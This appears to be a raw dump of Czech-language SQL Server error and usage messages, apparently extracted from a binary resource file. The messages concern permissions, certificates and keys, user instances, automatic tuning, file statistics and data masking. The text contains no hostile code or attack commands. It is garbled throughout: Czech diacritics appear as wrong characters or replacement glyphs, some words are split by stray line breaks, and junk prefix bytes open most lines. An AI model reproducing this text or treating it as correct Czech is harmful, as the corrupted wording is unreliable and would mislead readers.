em~ pro parametr @itemtype bylo zad�no %3!s!.

lZ datov�ho typu XML nelze vytvoYit aliasov� typy.

LDatab�zi %1!s! nelze pYejmenovat.

 Argument zadan� pro parametr %1!s! ulo~en� procedury sp_db_vardecimal_storage_format je neplatn�. Platn�mi argumenty jsou hodnoty ON a OFF.

�Chyba pYi spouatn� u~ivatelsk� instance. K�d chyby: %1!s!.

Argument zadan� pro parametr %1!s! ulo~en� procedury %2!s! je neplatn�. Platn�mi argumenty jsou hodnoty ON, OFF, TRUE a FALSE.

�Certifik�t s n�zvem %1!s! ji~ existuje nebo tento certifik�t ji~ byl pYid�n do datab�ze.

�Vlastnost nelze pYidat. Vlastnost %1!s! pro objekt %2!s! ji~ existuje.

lObjektom tohoto typu nen� pYidlen ~�dn� prostor.

`Sloupec %1!s! nem� ~�dnou v�choz� hodnotu.

|U~ivatelsk� datov� typ %1!s! nem� ~�dnou v�choz� hodnotu.

PSloupec %1!s! nem� ~�dn� pravidlo.

lU~ivatelsk� datov� typ %1!s! nem� ~�dn� pravidlo.

Nelze zapisovat do souboru %1!s!. OvYte, zda m�te opr�vnn� pro z�pis, zda je cesta k souboru platn� nebo zda soubor ji~ neexistuje.

�Pou~it�: sp_dboption [n�zev_datab�ze [,n�zev_mo~nosti [,'true' | 'false']]]

XMo~nost datab�ze %1!s! nen� jedine
n�.

hMo~nost %1!s! nelze pro hlavn� datab�zi zmnit.

�Nastavit mo~nosti datab�ze smj� pouze 
lenov� role sysadmin nebo vlastn�k datab�ze.

�Nelze z�lohovat priv�tn� kl�
 certifik�tu %1!s!, proto~e priv�tn� kl�
 nebyl nalezen.

`U~ivatel nem� opr�vnn� prov�st tuto akci.

�Bu je parametr @objname nejednozna
n�, nebo je uv�dn� parametr @objtype (%1!s!) nespr�vn�.

�Chyba: Explicitn� parametr @objtype %1!s! nebyl rozpozn�n.

��st kvalifik�toru objektu, kter� pYedstavuje n�zev datab�ze, mus� b�t n�zev aktu�ln� datab�ze.

|Byl zad�n neplatn� parametr %1!s!. Hodnota mus� b�t %2!s!

�Je tYeba zadat n�zev tabulky s prim�rn�m kl�
em nebo s ciz�m kl�
em.

pChyba syntaxe pYi anal�ze identifik�toru SQL %1!s!.

�V datab�zi existuj� i jin� u~ivatel� ne~ vlastn�k datab�ze a guest. PYed odebr�n�m datab�ze je tYeba je vyYadit.

�%1!s! nen� platn� hodnota pro parametr @autofix. Jedin� platn� hodnota je Auto.

|Pou~it�: sp_certify_removable <n�zev_datab�ze> [,'auto']

�Datab�zi, kterou se pokoua�te certifikovat, nelze z�roveH pou~�vat.

�Aby bylo mo~n� datab�zi odebrat, mus� b�t jej�m vlastn�kem 
len role sysadmin.

�Klauzuli DEFAULT_SCHEMA nelze pou~�t s objekty zabezpe
en� mapovan�mi na certifik�ty nebo asymetrick� kl�
e.

|Form�t Yetzce popisova
e zabezpe
en� %1!s! je neplatn�.

�Pou~it�: sp_create_removable <dbname>,<syslogical>,<sysphysical>,<syssize>,<loglogical>,<logphysical>,<logsize>,<datalogical1>,<dataphysical1>,<datasize1> [,<datalogical2>,<dataphysical2>,<datasize2>...<datalogical16>,<dataphysical16>,<datasize16>]

�Identifik�tor zabezpe
en� SID v Yetzci popisova
e zabezpe
en� %1!s! nebyl nalezen pomoc� operace vyhled�v�n� �
tu.

\Nelze vytvoYit 
�st %1!s! dan� datab�ze.

�PYi zpracov�n� Yetzce popisova
e zabezpe
en� %1!s! doalo k neo
ek�van� chyb.

lDatab�zi %1!s! nelze nastavit jako vymnitelnou.

pPopisova
 zabezpe
en� s n�zvem %1!s! ji~ existuje.

hLogick� datov� zaY�zen� %1!s! nebylo vytvoYeno.

�Neplatn� hodnota parametru @with_log. Platn� jsou hodnoty True a False.

�PY�stup ke vzd�len�mu serveru byl odepYen, proto~e aktu�ln� kontext zabezpe
en� nen� dovryhodn�.

|Nelze zY�dit hesla hlavn�ho kl�
e pro syst�mov� datab�ze.

�Jedin�mi platn�mi hodnotami parametru @parameter_value jsou hodnoty True a False.

�PYihl�aen� %1!s! je ji~ mapov�no na u~ivatele %2!s! v datab�zi %3!s!.

�Je tYeba nejprve pYidat zpr�vu ve verzi us_english, a~ pot� lze pYidat zpr�vu ve verzi %1!s!.

�PYed vyYazen�m zpr�vy ve verzi us_english je tYeba vyYadit vaechny jej� lokalizovan� verze.

\N�zev %1!s! obsahuje pY�lia mnoho znako.

�Objekt zabezpe
en� datab�ze pYidlil nebo odepYel opr�vnn� objektom v datab�zi a nelze jej vyYadit.

�Zvl�atn� slovo %1!s! nelze pou~�t jako n�zev logick�ho zaY�zen�.

Procedura se ukon
uje. Hodnota %1!s! parametru @action je nezn�m�. Zkuste hodnoty (akce) REPORT, UPDATE_ONE nebo AUTO_FIX.

�Procedura se ukon
uje. %1!s! je v t�to proceduYe zak�zan� hodnota parametru pro pYihlaaovac� jm�no.

�Procedura se ukon
uje. PYi spuatn� t�to procedury nelze m�t otevYenou transakci.

�Procedura se ukon
uje. Objekt %1!s! s n�zvem %2!s! chyb� nebo je neplatn�.

DObecn� kryptografick� chyba.

�Data certifik�tu, asymetrick�ho kl�
e nebo priv�tn�ho kl�
e jsou neplatn�.

PPodpis veYejn�ho kl�
e je neplatn�.

Parametr hodnoty pro Obecn� typ opr�vnn� (%1!s!) neobsahuje ~�dn� rozpoznan� p�smeno. Platn� p�smena naleznete v t�to sad: %2!s!.

Kolace %1!s! je podporov�na pouze pro datov� typy znakov� sady Unicode a nelze ji nastavit na �rovni datab�ze nebo serveru.

�N�zev datab�ze Database_Name by neml b�t pou~�v�n ke kvalifikaci vlastn�ka a objektu pro parametr v t�to proceduYe.

�Konfigura
n� hodnota u~ivatelsk� mo~nosti (%1!s!) byla odm�tnuta, proto~e by nastavila nekompatibiln� mo~nosti.

��roveH z�va~nosti verze %1!s! t�to zpr�vy mus� b�t stejn� jako �roveH z�va~nosti (%2!s!) verze us_english.

�Hodnota parametru @TriggerType mus� b�t Insert, Update nebo Delete.

��roveH kompatibility replikovan�ch a distribuovan�ch datab�z� nelze mnit.

�Mo~nost publikov�n� slou
en�m nelze mnit, proto~e server nen� nastaven pro replikaci.

tNelze mnit dovryhodn� stav datab�z� tempdb a model.

�Bhem spouatn� se nepodaYilo nakonfigurovat u~ivatelskou instanci. PYi aktualizace metadat serveru doalo k chyb.

LSoubor s n�zvem %1!s! neexistuje.

�Soubor s n�zvem %1!s! je prim�rn� soubor a nelze jej odebrat.

�Chyba: PY�kaz DBCC DBREPAIR REMAP se nezdaYil pro datab�zi %1!s! (zaY�zen� %2!s!).

Doalo k chyb pYi deaifrov�n� objektu %1!s! %2!s!, kter� byl zaaifrov�n star�m hlavn�m kl�
em. Tuto chybu lze ignorovat pY�kazem FORCE, operace pak bude pokra
ovat. Ovaem data, kter� nen� mo~n� deaifrovat pomoc� star�ho hlavn�ho kl�
e, nebudou k dispozici.

�PYi odeb�r�n� polo~ky %1!s! ze zobrazen� sys.master_files doalo k pot�~�m.

`Vybran� index pro tabulku %1!s! neexistuje.

hMo~nost %1!s! nelze pro datab�zi %2!s! zmnit.

|Aktu�ln� datab�ze neobsahuje objekt %1!s! s n�zvem %2!s!.

,Nelze deaifrovat aktu�ln� hlavn� kl�
. Pokud je to hlavn� kl�
 datab�ze, pokuste se jej otevY�t v relaci pYed proveden�m t�to operace. Tuto chybu lze ignorovat pY�kazem FORCE a operace tak bude pokra
ovat. Data zaaifrovan� pomoc� star�ho hlavn�ho kl�
e vaak budou ztracena.

�Neexistuj� ~�dn� odpov�daj�c� Y�dky, kter� by bylo mo~n� ohl�sit.

�U~ivatel %1!s! nemo~e prov�st akci auto_fix z dovodu duplicitn�ho identifik�toru zabezpe
en� SID.

�Chyba: Kvalifikovan� parametr @oldname odkazuje na datab�zi (%1!s!) jinou ne~ aktu�ln�.

�Chyba: Tento nov� n�zev %1!s! se ji~ pou~�v� jako n�zev objektu %2!s!. To by zposobilo nepovolenou duplicitu.

�Objekt %1!s! nelze pYejmenovat, proto~e se �
astn� na vynucen�ch z�vislostech.

tZmna vlastnictv� pro objekt %1!s! nen� podporov�na.

�Entitu typu %1!s! nemo~e vlastnit role, skupina ani objekty zabezpe
en� mapovan� na certifik�ty nebo asymetrick� kl�
e.

Nelze zmnit vlastn�ka objektu, kter� je vlastnn nadYazen�m objektem. Je tYeba m�sto toho zmnit vlastn�ka nadYazen�ho objektu.

�Nelze pYev�st objekt, kter� je vlastnn nadYazen�m objektem.

`Nelze pYev�st objekt sv�zan� se sch�matem.

LNelze pYev�st objekt MS Shipped.

�Pokus pYipojit automaticky pojmenovanou datab�zi pro souboru %1!s! se nezdaYil. Ji~ existuje datab�ze se stejn�m n�zvem, nelze otevY�t zadan� soubor nebo se tento soubor nach�z� ve sd�len� slo~ce s n�zvem UNC.

�Polo~ku %1!s! nelze vyYadit, proto~e je pomoc� n� podeps�na nebo zaaifrov�na jedna nebo v�ce entit.

Entitu typu %1!s! nemo~e vlastnit role, skupina, aplika
n� role nebo objekty zabezpe
en� mapovan� na certifik�ty nebo asymetrick� kl�
e.

�Aktu�ln� aplika
n� role byla vyYazena. Aktu�ln� kontext zabezpe
en� neobsahuje platn� kontext u~ivatele datab�ze.

�Aktu�ln� kontext zabezpe
en� byl nastaven pY�kazem %1!s!. Nelze jej vr�tit pY�kazem %2!s!.

�Nelze pYidat funk
n� jednotku %1!s! ke komponent %2!s!. Tato jednotka ji~ byla ke komponent zaregistrov�na.

Doalo k chyb pYi pokusu na
�st soubor xpstar.dll za �
elem pYe
ten� proxy �
tu agenta z m�stn�ho �Yadu zabezpe
en� (LSA).

�Doalo k chyb pYi pokusu o 
ten� povYen� proxy �
tu SQLAgent z m�stn�ho �Yadu zabezpe
en� (LSA).

lPYi pokusu vytvoYit povYen� %1!s! doalo k chyb.

TNepodaYilo se vygenerovat u~ivatelskou instanci syst�mu SQL Server. Pouze integrovan� pYipojen� mo~e vygenerovat u~ivatelskou instanci. PYipojen� bude ukon
eno.%1!s!

hNepodaYilo se vygenerovat u~ivatelskou instanci syst�mu SQL Server. Pouze 
lenov� skupiny Builtin\Users mohou vygenerovat u~ivatelskou instanci. PYipojen� bude ukon
eno.%1!s!

NepodaYilo se vygenerovat u~ivatelskou instanci syst�mu SQL Server z dovodu nedostatku pamti. PYipojen� bude ukon
eno.%1!s!

hNepodaYilo se vygenerovat u~ivatelskou instanci syst�mu SQL Server, proto~e doalo k chyb pYi generov�n� jedine
n�ho n�zvu u~ivatelsk� instance. PYipojen� bude ukon
eno.%1!s!

,NepodaYilo se vygenerovat u~ivatelskou instanci syst�mu SQL Server, proto~e doalo k chyb pYi 
ten� kl�
o registru. PYipojen� bude ukon
eno.%1!s!

,NepodaYilo se vygenerovat u~ivatelskou instanci syst�mu SQL Server, proto~e doalo k chyb pYi zosobHov�n� klienta. PYipojen� bude ukon
eno.%1!s!

<NepodaYilo se vygenerovat u~ivatelskou instanci syst�mu SQL Server, proto~e doalo k chyb pYi kop�rov�n� souboro datab�ze. PYipojen� bude ukon
eno.%1!s!

TNepodaYilo se vygenerovat u~ivatelskou instanci syst�mu SQL Server, proto~e doalo k chyb pYi ud�losti vytv�Yen� u~ivatelsk� instance. PYipojen� bude ukon
eno.%1!s!

\NepodaYilo se vygenerovat u~ivatelskou instanci syst�mu SQL Server, proto~e doalo k chyb pYi zahajov�n� procesu pro u~ivatelskou instanci. PYipojen� bude ukon
eno.%1!s!

hNepodaYilo se vygenerovat u~ivatelskou instanci syst�mu SQL Server, proto~e doalo k chyb pYi z�sk�v�n� informac� o procesu u~ivatelsk� instance. PYipojen� bude ukon
eno.%1!s!

�NepodaYilo se vygenerovat u~ivatelskou instanci syst�mu SQL Server, proto~e doalo k chyb pYi trval�m ukl�d�n� informac� o u~ivatelsk� instanci do katalogu syst�mu. PYipojen� bude ukon
eno.%1!s!

HNepodaYilo se vygenerovat u~ivatelskou instanci syst�mu SQL Server, proto~e doalo k chyb pYi pYipojov�n� k u~ivatelsk� instanci. PYipojen� bude ukon
eno.%1!s!

`Nepovedlo se vygenerovat u~ivatelskou instanci syst�mu SQL Server. U~ivatelskou instanci dovoluje vygenerovat jenom verze SQL Server Express. PYipojen� bude ukon
eno.%1!s!

�PYi spouatn� se nepodaYilo nakonfigurovat u~ivatelskou instanci. PYi pYid�v�n� u~ivatele do role sysadmin doalo k chyb.

,PYi spouatn� se nepodaYilo nakonfigurovat u~ivatelskou instanci. PYi konfiguraci polo~ek syst�mov� datab�ze v datab�zi MASTER DB doalo k chyb.

$PYi spouatn� se nepodaYilo nakonfigurovat u~ivatelskou instanci. PYi konfiguraci cest syst�mov� datab�ze v datab�zi MASTER DB doalo k chyb.

TNepodaYilo se vygenerovat u~ivatelskou instanci syst�mu SQL Server, proto~e doalo k chyb pYi aktualizaci popisova
e zabezpe
en� bhem procesu u~ivatelsk� instance.

�NepodaYilo se vygenerovat u~ivatelskou instanci syst�mu SQL Server, proto~e doalo k chyb pYi na
�t�n� m�stn� cesty dat aplikac� u~ivatele. Zkontrolujte, zda m� u~ivatel v po
�ta
i m�stn� u~ivatelsk� profil. PYipojen� bude ukon
eno.%1!s!

hGenerov�n� u~ivatelsk�ch instanc� v syst�mu SQL Server je zak�z�no. Generujte u~ivatelsk� instance pomoc� mo~nosti User instances enabled ulo~en� procedury sp_configure.%1!s!

�PYi spouatn� se nepovedlo nakonfigurovat u~ivatelskou instanci. PYi aktualizaci ID spr�vce prostYedko doalo k chyb.

�Pro identifik�tor zabezpe
en� SID %1!s! nen� definov�n ~�dn� objekt zabezpe
en� datab�ze.

�Nebylo povoleno spuatn� nov� d�vky, proto~e jin� d�vka v relaci mn� kontext zabezpe
en�.

�Pokud kvalifikovan� n�zev objektu ur
uje datab�zi, mus� se jednat o aktu�ln� datab�zi.

}�dn� u~ivatelsk� tabulka neodpov�d� vstupn�mu n�zvu %1!s! v aktu�ln� datab�zi nebo nem�te opr�vnn� k pY�stupu k tabulce.

Ulo~en� procedura sp_indexoption nen� podporov�na pro indexy XML a prostorov� indexy. Pou~ijte nam�sto n� pY�kaz ALTER INDEX.

�Vstupn�mu n�zvu %1!s! neodpov�d� v aktu�ln� datab�zi ~�dn� u~ivatelsk� tabulka ani indexovan� zobrazen�.

XUlo~en� procedura sp_indexoption nen� podporov�na pro index XML a tabulka m� index XML. M�sto toho pou~ijte pY�kaz ALTER INDEX k nastaven� mo~nosti pro vaechny indexy.

Zadan� mo~nost %1!s! nen� podporov�na touto edic� syst�mu SQL Server a nelze ji zmnit pomoc� ulo~en� procedury sp_configure.

Doalo k chyb pYi deaifrov�n� hesla pro propojen� pYihl�aen� %1!s!, kter� bylo zaaifrov�no star�m hlavn�m kl�
em. Tuto chybu lze ignorovat pY�kazem FORCE a operace tak bude pokra
ovat. Data zaaifrovan� pomoc� star�ho hlavn�ho kl�
e vaak budou ztracena.

lKolace %1!s! nen� podporov�na opera
n�m syst�mem.

�Nebylo mo~n� naj�t kvalifikovan� star� n�zev pro typ polo~ky %1!s!.

�Asymetrick� kl�
 s n�zvem %1!s! ji~ existuje nebo byl tento asymetrick� kl�
 ji~ pYid�n do datab�ze.

�Objekt %1!s! nen� chr�nn heslem. Deaifrovac� heslo nelze pro tuto operaci pou~�t.

�Toto nastaven� spuatn� lze mnit pouze u objekto v hlavn� datab�zi, kter� vlastn� vlastn�k datab�ze.

�Mo~nost spuatn� nelze zmnit, proto~e tato mo~nost je omezena na objekty bez parametro.

�Nebyl nalezen u~ivatel nebo skupina Windows NT %1!s!. Znovu zkontrolujte n�zev.

PRole %1!s! nen� pevn� role serveru.

�Objekt zabezpe
en� serveru %1!s! neexistuje, nem� pY�stup k serveru nebo nem�te pY�sluan� opr�vnn�.

�Nelze z�skat informace o u~ivateli nebo skupin Windows NT %1!s!, k�d chyby %2!s!.

hNelze pou~�t zvl�atn� objekt zabezpe
en� %1!s!.

hNelze spustit jako objekt zabezpe
en� serveru, proto~e objekt zabezpe
en� %1!s! neexistuje, tento typ objektu zabezpe
en� nemo~e b�t zosobnn nebo nem�te pY�sluan� opr�vnn�.

�%1!s! nen� platn� u~ivatelsk� jm�no syst�mu Windows NT. Zadejte �pln� jm�no: <dom�na\u~ivatelsk�_jm�no>.

�Objekt %1!s! nelze volat v t�to d�vce, proto~e ji~ byl vol�n soub~n spuatnou d�vkou.

,%1!s! nen� role.

tU~ivatel nebo role %1!s! v t�to datab�zi neexistuje.

�Objekt zabezpe
en� datab�ze nebo sch�ma %1!s! v t�to datab�zi neexistuje.

D%1!s! nen� zn�m� pevn� role.

PRoli nelze u
init 
lenem sebe sama.

��roveH kompatibility nebylo mo~n� nastavit, proto~e v datab�zi se nach�z� zobrazen� nebo po
�tan� sloupec, kter� je indexovan�. Tyto indexy vy~aduj� datab�zi kompatibiln� se syst�mem SQL Server.

�Pou~it�: sp_dbcmptlevel [n�zev_datab�ze [, �roveH_kompatibility]]

�Nastavit �roveH kompatibility mo~ou jenom 
lenov� role sysadmin nebo vlastn�k datab�ze.

�Poskytnut� parametr identifik�toru zabezpe
en� SID by ml b�t typu binary(16).

\Skupina %1!s! v t�to datab�zi neexistuje.

�Objekt zabezpe
en� datab�ze vlastn� datab�zovou roli a nelze jej vyYadit.

�Aplika
n� role mohou b�t aktivov�ny pouze na �rovni ad hoc.

�Pro identifik�tor zabezpe
en� SID %1!s! nen� definov�n ~�dn� objekt zabezpe
en� serveru.

�Je tYeba zadat n�zev zprostYedkovatele s touto sadou vlastnost�.

�Pro nezn�m� produkt %1!s! je tYeba zadat n�zev zprostYedkovatele.

�Pro produkt %1!s! nelze zadat zprostYedkovatele ani ~�dn� vlastnosti.

XN�zev %1!s! je neplatn� n�zev produktu.

PJe tYeba zadat parametr @rolename.

�Ulo~en� procedura %1!s! mo~e b�t spuatna pouze na �rovni ad hoc.

�Poskytnut� identifik�tor zabezpe
en� SID parametru je pou~�v�n.

�Nelze vyYadit pYihl�aen� %1!s!, proto~e u~ivatel je pr�v pYihl�aen.

`ifrov�n� pomoc� kl�
e po
�ta
e nelze pYidat k hlavn�mu kl�
i slu~by, proto~e hlavn� kl�
 slu~by nelze deaifrovat nebo neexistuje.

�VyYazen� aifrov�n� z hlavn�ho kl�
e slu~by se nezdaYilo. Neexistuje ~�dn� aifrov�n� pomoc� kl�
e po
�ta
e.

�PYid�n� aifrov�n� k hlavn�mu kl�
i slu~by se nezdaYilo. `ifrov�n� pomoc� kl�
e po
�ta
e ji~ existuje.

lNepodporovan� form�t nebo d�lka priv�tn�ho kl�
e.

PHeslo priv�tn�ho kl�
e je neplatn�.

HPYi deaifrov�n� doalo k chyb.

`PYi generov�n� objektu %1!s! doalo k chyb.

�Neplatn� priv�tn� kl�
. Priv�tn� kl�
 neodpov�d� veYejn�mu kl�
i objektu %1!s!.

|Vlastn�ka tabulky s indexovan�m zobrazen�m nelze zmnit.

(Nelze zmnit vlastn�ka objektu %1!s! nebo jednoho z jeho podY�zen�ch objekto, proto~e nov� vlastn�k %2!s! ji~ vlastn� objekt se stejn�m n�zvem.

HPYi podepisov�n� doalo k chyb.

lKl�
 po~adovan� touto operac� je zYejm poakozen.

�PYi generov�n� kl�
e po~adovan�ho touto operac� doalo k chyb.

�Heslo nelze vyYadit, proto~e jej mo~e st�le pou~�vat jin� datab�ze.

lNelze povolit pYihl�aen�, kter� m� pr�zdn� heslo.

`Nelze spustit jako objekt zabezpe
en� datab�ze, proto~e objekt zabezpe
en� %1!s! neexistuje, tento typ objektu zabezpe
en� nelze zosobnit nebo nem�te pY�sluan� opr�vnn�.

�Nelze spustit jako token syst�mu Windows. Nen� platn� nebo nem�te pY�sluan� opr�vnn�.

�Nelze spustit jako l�stek. Nen� platn� nebo nem�te pY�sluan� opr�vnn�.

\Objekt %1!s! s n�zvem %2!s! ji~ existuje.

hInformace popisova
e zabezpe
en� nejsou platn�.

�Popisova
 zabezpe
en� objektu je neplatn�, proto~e neobsahuje informace o vlastn�kovi nebo o prim�rn� skupin.

dV pY�kazu %1!s! je zad�n neplatn� datov� typ.

�V pY�kazu %1!s! doalo k chyb pYi generov�n� souboru cookie.

tPro objekt zabezpe
en� %1!s! nelze nastavit povYen�.

\PYihl�aen� %1!s! nem� pY�stup k serveru.

\PYihl�aen� %1!s! nem� pY�stup k datab�zi.

�U~ivatel %1!s! nemo~e b�t vyYazen, lze jej pouze zak�zat. U~ivatel je v aktu�ln� datab�zi ji~ zak�z�n.

�Xetzec identity je pY�lia dlouh�. Xetzec identity nem� obsahovat v�ce ne~ %1!s! znako.

�PovYen� %1!s! nelze vyYadit, proto~e je pou~�v�no objektem zabezpe
en� serveru.

�Na serveru %1!s! nelze nastavit n�zev s�t, proto~e to nen� odkazovan� SQL Server.

�V datab�zi ji~ existuje hlavn� kl�
. PYed proveden�m tohoto pY�kazu jej vyYate.

PYid�n� aifrov�n� k symetrick�mu kl�
i se nezdaYilo. Je mo~n�, ~e ji~ existuje aifrov�n� pomoc� stejn�ho objektu %1!s! %2!s!.

�Nelze vyYadit objekt %1!s!, proto~e objekt %2!s! %3!s! je pomoc� nj zaaifrov�n.

�PYed proveden�m t�to operace vytvoYte hlavn� kl�
 v datab�zi nebo jej otevYete v relaci.

�PYi synchronizaci syst�mov�ch certifik�to mezi hlavn� datab�z� a datab�z� zdrojo doalo k chyb.

�Nelze zmnit vlastn�ka sestaven� %1!s!, proto~e z�visl� sestaven� %2!s! nepatY� nov�mu vlastn�kovi.

�Nelze vr�tit aktu�ln� kontext zabezpe
en�, proto~e soubor cookie je neplatn�.

�S pY�kazem Execute As na �rovni ad hoc lze pou~�t pouze mo~nosti No Revert nebo Cookie.

�Aktu�ln� kontext zabezpe
en� nelze pomoc� tohoto pY�kazu vr�tit. Soubor cookie mo~e, ale nemus�, b�t potYeba s pY�kazem Revert. Z�le~� na tom, jak byl nastaven kontext s pY�kazem Execute As.

�Nelze zruait nastaven� aplika
n� role, proto~e ~�dn� nebyla nastavena nebo je soubor cookie neplatn�.

lDoalo k chyb pYi deaifrov�n� hesla pro propojen� pYihl�aen� %1!s!, kter� bylo zaaifrov�no star�m hlavn�m kl�
em. Tato chyba byla ignorov�na, proto~e byla zad�na mo~nost FORCE.

`Heslo pro datab�zi %1!s! ji~ bylo zY�zeno.

�Heslo nelze vyYadit, proto~e pro datab�zi %1!s! nen� zY�zeno.

�Pro proceduru %1!s! byl zad�n neplatn� parametr nebo mo~nost.

0Pro aktu�ln� datab�zi nen� povoleno fulltextov� vyhled�v�n�. Fulltextov� vyhled�v�n� lze povolit ulo~enou procedurou sp_fulltext_database. Funkce zak�zat a povolit fulltextov� vyhled�v�n� v datab�zi se v nov�ch verz�ch ji~ nepou~�v�. Upravte pros�m podle toho svou aplikaci.

�Chyba pY�kazu DBCC DBCONTROL. Datab�ze nebyla pYepnuta do re~imu jen pro 
ten�.

�Chyba pY�kazu DBCC DBCONTROL. Datab�ze nebyla pYepnuta do jednou~ivatelsk�ho re~imu.

�Nelze spustit pY�kaz %1!s!, proto~e datab�ze je v re~imu pY�stupu jen pro 
ten�.

<Sloupec %1!s! neexistuje.

TSloupec %1!s! nen� po
�tan� sloupec.

�Z datov�ho typu XML nelze vytvoYit u~ivatelsky definovan� typy.

�Form�t �lo~iat Vardecimal nen� v syst�mov� datab�zi %1!s! k dispozici.

�Ulo~enou proceduru sp_resetstatus nelze spustit pro sn�mek datab�ze.

|Sch�ma %1!s! zadan� pro parametr schema_name neexistuje.

 Ulo~en� procedura sp_estimate_data_compression_savings nepodporuje komprimaci indexo XML, prostorov�ch indexo a indexo columnstore a hash.

�Ulo~en� procedura sp_estimate_data_compression_savings nepodporuje komprimaci do
asn�ch tabulek.

Ulo~en� procedura sp_estimate_data_compression_savings nepodporuje komprimaci tabulek se zhuatn�mi sloupci nebo sadami sloupco.

�Funkce sp_addserver ji~ nen� podporov�na. Nahrate vzd�len� servery odkazovan�mi servery.

�Kl�
 %1!s! nejde nastavit v kontextu relace. Kl�
 byl pro tuto relaci nastaven� jako read_only.

Nebyla nastaven� hodnota kl�
e %1!s!, proto~e by celkov� hodnota kl�
o a hodnot v�kontextu relace pYekro
ila omezen� 1 MB.

�Kl�
 %1!s! nejde nastavit v�kontextu relace. Velikost kl�
e nemo~e pYekro
it 256 bajto.

�Resetov�n� kontextu relace nen� povoleno, kdy~ je v relaci aktivn� jin� d�vka.

�PY�kaz %1!s! selhal, proto~e se pokusil nastavit mo~nost automatick�ho ladn� %2!s! v�cekr�t.

�Nejde prov�st akci, proto~e automatick� ladn� nejde povolit na syst�mov� datab�zi %1!s!.

|Mo~nost automatick�ho ladn� %1!s! je zak�zan� syst�mem.

�Mo~nost automatick�ho ladn� %1!s! nejde povolit, proto~e nen� zapnut� �lo~iat dotazo.

�Mo~nost automatick�ho ladn� %1!s! nejde povolit, proto~e nen� �lo~iat dotazo je v re~imu READ_ONLY.

�Automatick� ladn� je pro SQL Server k dispozici jenom v edic�ch Enterprise a Developer.

dNeplatn� n�zev mo~nosti automatick�ho ladn�.

dNeplatn� stav mo~nosti automatick�ho ladn�.

hNeplatn� Yetzec re~imu optimalizace datab�ze.

\Nejde z�skat sd�len� z�mek pro datab�zi.

TNeplatn� re~im optimalizace serveru.

dNejde z�skat aktualiza
n� z�mek pro datab�zi.

|Nejde prov�st ulo~enou proceduru na tomto typu datab�ze.

Nastaven� mo~nosti automatick� optimalizace %1!s! na DEFAULT nen� povoleno bhem re~imu optimalizace datab�ze CUSTOM pro datab�zi %2!s!.

�V pY�kazu ALTER DATABASE je mo~n� zadat jenom jednu mo~nost automatick�ho ladn�.

�Po~adovan� konfigurace automatick�ho ladn� nen� podporov�na nebo jsou parametry neplatn�.

�Nen� splnn po~adavek na z�vislou polo~ku automatick�ho ladn� (%1!s!).

�U~ivatel nem� potYebn� opr�vnn� (%1!s!) na aktu�ln� datab�zi, aby mohl spustit ulo~enou proceduru.

Nastaven� mo~nosti automatick� optimalizace na DEFAULT nen� povoleno bhem re~imu optimalizace serveru CUSTOM pro server %1!s!.

�Nepovedlo se inicializovat extern� distribuovanou v�po
etn� knihovnu.

�Po~adavek na proveden� extern�ho distribuovan�ho v�po
tu selhal s chybou %1!s!.

�Mo~nost FORMATFILE nejde pou~�t ke 
ten� distribuovan�ch souboro. Mo~ete ji bu odebrat a zkusit ur
it sch�ma z datov�ch souboro, nebo pou~�t klauzuli WITH funkce OPENROWSET a definovat sch�ma inline.

TNejde na
�st extern� knihovnu %1!s!.

�An error occurred while calling to external library '%1!s!'. HRESULT = '0x%2!s!'.'

DZadan� pY�kaz se nepodporuje.

Sch�ma nelze ur
it z datov�ch souboro pro form�t souboru %1!s!. Pou~ijte klauzuli WITH funkce OPENROWSET a sch�ma definujte.

�Nebyly nalezeny ~�dn� soubory odpov�daj�c� vzoru n�zvu %1!s!.

�PYi pokusu o na
ten� sch�matu pro datov� soubor %1!s! doalo k chyb. Zkontrolujte, jestli soubor odpov�d� form�tu %2!s!.

xNebyly nalezeny ~�dn� sloupce v datov�m souboru %1!s!.

�Po
et sloupco v datov�m souboru %1!s! pYekra
uje maxim�ln� po
et %2!s!.

TError reading external file: '%1!s!'.

�Sloupec %1!s! typu %2!s! nen� kompatibiln� s typem extern�ch dat %3!s!.

pExtern� datov� typ %1!s! nen� aktu�ln podporov�n.

DTvar dotazu nen� podporov�n.

�File statistics encountered an error with global statistics table. Table does not exist or it is corrupted.

�Statistiky souboru pro sloupec %1!s! nejde vyYadit, proto~e neexistuj�. Opravte argument dotazu sp_drop_file_statistics OPENROWSET, abyste se ujistili, ~e jste zadali stejn� mo~nosti OPENROWSET jako pYi vol�n� metody sp_create_file_statistics.

�Statistiky souboru pro sloupec %1!s! nejde vytvoYit, proto~e u~ existuj�.

�Funkce filepath vy~aduje 0 argumento nebo pYesn 1 argument konstantn� celo
�seln� hodnoty.

`Argumenty funkce FilePath jsou mimo rozsah.

�PYedpona funkce Filepath %1!s! neodpov�d� n�zvu aliasu nebo argument funkce je mimo rozsah.

xPYedpona funkce Filename %1!s! neodpov�d� n�zvu aliasu.

TFunkce filename vy~aduje 0 argumento.

\Funkce filepath vy~aduje 0 a~ 1 argument.

�N�zev %1!s! je neplatn�. PYedpona RESOLVED_WILDCARD_VIRTUAL_COLUMN_ je vyhrazen�.

�Statistiky souboru pro sloupec %1!s! neexistuj�. Opravte argument dotazu sp_show_file_statistics OPENROWSET, abyste se ujistili, ~e jste zadali stejn� mo~nosti OPENROWSET jako pYi vol�n� metody sp_create_file_statistics.

�PYi vytv�Yen� statistiky doalo k vnitYn� chyb 
�slo %1!s!.

�Create/drop/show stats operations are currently not supported for queries that use schema inference.

Xdata_export nepodporuje mo~nost %1!s!.

�Dotaz nen� podporov�n: Nejde ur
it zdroje sloupce v�sledko.

�Dotaz nen� podporov�n: Nejde ur
it zdroje sloupce v�sledko.

�Dotaz nen� podporov�n: Nejde ur
it zdroje sloupce v�sledko.

�Dotaz nen� podporov�n: Nejde ur
it zdroje sloupce v�sledko.

�Maskov�n� dat nen� pro datov� typ sloupce %1!s! podporovan�.

hNeplatn� funkce maskov�n� dat ve sloupci %1!s!

�Datov� typ sloupce %1!s! nepodporuje funkci maskov�n� dat %2!s!.

�Nespr�vn� po
et parametro pro funkci maskov�n� dat %1!s! pro sloupec %2!s!

�Neplatn� argument pro funkci maskov�n� dat %1!s! pro sloupec %2!s!

�Neplatn� form�t maskov�n� dat pro funkci %1!s! ve sloupci %2!s!

\Sloupec %1!s! nem� funkci maskov�n� dat.

�Funkci maskov�n� nejde pYidat do sloupce, kter� je aifrovan�.

�Funkci maskov�n� nejde pYidat do sloupce, kter� se pou~�v� jako sada zhuatn�ch sloupco.

|Extern� skript nejde prov�st pro sloupce maskovan�ch dat.

